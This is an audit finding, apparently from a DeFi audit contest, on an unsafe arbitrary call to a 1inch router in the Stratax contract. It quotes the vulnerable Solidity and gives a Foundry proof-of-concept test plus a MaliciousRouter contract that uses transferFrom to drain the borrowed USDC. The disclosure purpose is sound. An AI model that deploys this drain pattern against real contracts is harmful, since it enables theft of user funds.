Stratax Contracts

First Flight #57
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: low

Unsafe arbitrary call to 1inch Router in createLeveragedPosition enables reentrancy and asset drainage

Author Revealed upon completion

Description

  • The createLeveragedPosition function is designed to atomically flash loan collateral, supply it to Aave, borrow a debt asset, and swap that debt asset back to the collateral token via the 1inch Router to repay the flash loan.


  • The _call1InchSwap function performs an unsafe low-level .call to the oneInchRouter using user-supplied calldata (_swapParams) immediately after approving the router to spend the borrowed funds; this allows a malicious router or manipulated execution flow to re-enter the contract or transfer the approved tokens elsewhere, bypassing the intended swap logic and balance checks.

function _executeOpenOperation(address _asset, uint256 _amount, uint256 _premium, bytes calldata _params)
internal
returns (bool)
{
(, address user, FlashLoanParams memory flashParams) =
abi.decode(_params, (OperationType, address, FlashLoanParams));
// Step 1: Supply flash loan amount + user's extra amount to Aave as collateral
uint256 totalCollateral = _amount + flashParams.collateralAmount;
IERC20(_asset).approve(address(aavePool), totalCollateral);
aavePool.supply(_asset, totalCollateral, address(this), 0);
// Store initial balance to verify all borrowed tokens are used in swap
uint256 prevBorrowTokenBalance = IERC20(flashParams.borrowToken).balanceOf(address(this));
// Step 2: Borrow against the supplied collateral
aavePool.borrow(
flashParams.borrowToken,
flashParams.borrowAmount,
2, // Variable interest rate mode
0,
address(this)
);
// Step 3: Swap borrowed tokens via 1inch to get back the collateral token
IERC20(flashParams.borrowToken).approve(address(oneInchRouter), flashParams.borrowAmount);
// Execute swap via 1inch
@> uint256 returnAmount =
@> _call1InchSwap(flashParams.oneInchSwapData, flashParams.borrowToken, flashParams.minReturnAmount);
// Ensure all borrowed tokens were used in the swap
uint256 afterSwapBorrowTokenbalance = IERC20(flashParams.borrowToken).balanceOf(address(this));
require(afterSwapBorrowTokenbalance == prevBorrowTokenBalance, "Borrow token left in contract");
// Step 4: Repay flash loan
uint256 totalDebt = _amount + _premium;
require(returnAmount >= totalDebt, "Insufficient funds to repay flash loan");
// ...
// /**
* @notice Internal function to execute a token swap via 1inch
* @dev Performs low-level call to 1inch router and validates return amount
* @param _swapParams Encoded calldata for the 1inch swap
* @param _asset Address of the asset being swapped to
* @param _minReturnAmount Minimum acceptable return amount (slippage protection)
* @return returnAmount Actual amount received from the swap
*/
function _call1InchSwap(bytes memory _swapParams, address _asset, uint256 _minReturnAmount)
internal
returns (uint256 returnAmount)
{
// Execute the 1inch swap using low-level call with the calldata from the API
@> (bool success, bytes memory result) = address(oneInchRouter).call(_swapParams);
require(success, "1inch swap failed");
// Decode the return amount from the swap
if (result.length > 0) {
(returnAmount,) = abi.decode(result, (uint256, uint256));
} else {
// If no return data, check balance
returnAmount = IERC20(_asset).balanceOf(address(this));
}
// Sanity check
require(returnAmount >= _minReturnAmount, "Insufficient return amount from swap");
return returnAmount;
}

Risk
Likelihood: Low

  • Occurs when the contract is initialized with a malicious or compromised oneInchRouter address, enabling the router to execute arbitrary code (such as transferFrom) during the swap callback.

  • Occurs when the onlyOwner protected function is invoked by a compromised owner account or through a phishing attack where the user interacts with a malicious factory setup.

Impact: High

  • The attacker steals the borrowed liquidity (e.g., USDC) directly from the contract during the swap step, resulting in a total loss of the borrowed funds.

  • The Stratax contract retains the debt obligation to the Aave pool but lacks the swapped collateral assets required to back it or repay the flash loan, rendering the position insolvent.

Proof of Concept:


Add the test function and contract below to stratax.t.sol

function test_Reentrancy_NoEtch_ConfiguredRouter() public {
// 1. Deploy Malicious Router normally (No vm.etch)
// This proves the vulnerability relies on the contract logic, not on manipulating existing addresses
MaliciousRouter maliciousRouter = new MaliciousRouter();
// 2. Deploy a NEW Stratax instance specifically for this test
// We initialize it with the malicious router address directly.
// This simulates a scenario where the router is compromised, buggy, or simply allows
// unexpected behavior (like reentrancy) which Stratax fails to guard against.
BeaconProxy newProxy = new BeaconProxy(
address(beacon),
abi.encodeWithSelector(
Stratax.initialize.selector,
AAVE_POOL,
AAVE_PROTOCOL_DATA_PROVIDER,
address(maliciousRouter), // <--- Vulnerability: Blindly trusts this address
USDC,
address(strataxOracle)
)
);
Stratax vulnerableStratax = Stratax(address(newProxy));
vulnerableStratax.transferOwnership(ownerTrader);
// 3. Setup Attack
address attacker = ownerTrader;
uint256 borrowAmount = 20000 * 1e6;
// Mint tokens
deal(WETH, attacker, 100 ether);
uint256 initialBalance = IERC20(USDC).balanceOf(attacker);
console2.log("Attacker USDC Balance Before:", initialBalance);
vm.startPrank(attacker);
IERC20(WETH).approve(address(vulnerableStratax), 100 ether);
// 4. Execute Attack
bytes memory swapData = abi.encodeWithSelector(
MaliciousRouter.attack.selector,
address(vulnerableStratax),
USDC,
WETH,
attacker
);
vulnerableStratax.createLeveragedPosition(WETH, 0, 100 ether, USDC, borrowAmount, swapData, 0);
vm.stopPrank();
// 5. Verify Fund Loss
uint256 finalBalance = IERC20(USDC).balanceOf(attacker);
console2.log("Attacker USDC Balance After: ", finalBalance);
console2.log("Stolen Amount: ", finalBalance - initialBalance);
assertEq(finalBalance - initialBalance, borrowAmount, "Attacker failed to steal funds");
}
}
contract MaliciousRouter {
// This function mimics a reentrancy attack via the router
function attack(address _stratax, address _borrowToken, address _collateralToken, address _attacker) external {
console2.log(">>> MaliciousRouter.attack() triggered!");
// 1. Steal the borrowed tokens
// Stratax has already approved INCH_ROUTER (us) to spend 'borrowAmount'
uint256 amount = IERC20(_borrowToken).balanceOf(_stratax);
IERC20(_borrowToken).transferFrom(_stratax, _attacker, amount);
// 2. Manipulate return value check
// Stratax checks: require(returnAmount >= totalDebt)
// Since flashLoanAmount was 0, totalDebt is 0 (or very small premium).
// We don't need to send anything back if debt is 0.
// If debt > 0, we would send just enough _collateralToken to cover it.
// We return nothing. Stratax will read its balance of _collateralToken.
// Since we didn't swap, balance is 0 (assuming no leftover).
// 0 >= 0 passes.
}
}

The traces would show that it passed and funds were lost


- remove this code
+ add this code

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!